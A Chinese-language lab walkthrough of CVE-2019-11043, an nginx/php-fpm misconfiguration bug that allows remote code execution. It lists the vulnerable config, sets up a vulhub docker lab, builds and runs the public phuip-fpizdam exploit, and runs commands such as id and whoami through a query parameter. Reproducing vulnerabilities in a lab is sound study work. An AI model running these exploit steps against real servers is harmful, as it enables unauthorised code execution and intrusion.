nginx + php-fpm 配置不当,当nginx配置文件中有fastcgi_split_path_info
模块,在处理带%0a
的请求时,对换行符\n
处置不当使得将PATH_INFO
值置为空,从而导致可以通过FCGI_PUTENV
与PHP_VALUE
相结合,修改当前的php-fpm
进程中的php
配置,在特殊构造的配置生效的情况下可以触发任意代码执行。
5.6 < PHP < 7.3.11
Nginx使用如下特定配置:
location ~ [^/]\.php(/|$) {
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
}
}
使用docker配置环境,启动nginx+php-fpm
环境链接:https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043
docker-compose build
docker-compose up -d
docker-compose ps
环境启动后,浏览器访问http://192.168.220.134:8080/index.php
打开如下界面
在kali安装go环境
apt-get install golang -y
下载EXP phuip-fpizdam
Exp链接:https://github.com/neex/phuip-fpizdam
git clone https://github.com/neex/phuip-fpizdam.git
下载完成后进入目录下,安装并编译文件,编译完成后目录下会生成一个phuip-fpizdam
可执行文件
go get -v && go build
漏洞利用,执行命令(两条命令均可),出现Done!
表示命令执行完成
./phuip-fpizdam http://192.168.220.134:8080/index.php
go run . http://192.168.220.134:8080/index.php
再次返回浏览器执行命令,参数为a
,可以发现命令执行成功
因为php-fpm会启动多个子进程,在访问/index.php?a=id
时需要多访问几次,以访问到被污染的进程
http://192.168.220.134:8080/index.php?a=id
http://192.168.220.134:8080/index.php?a=whoami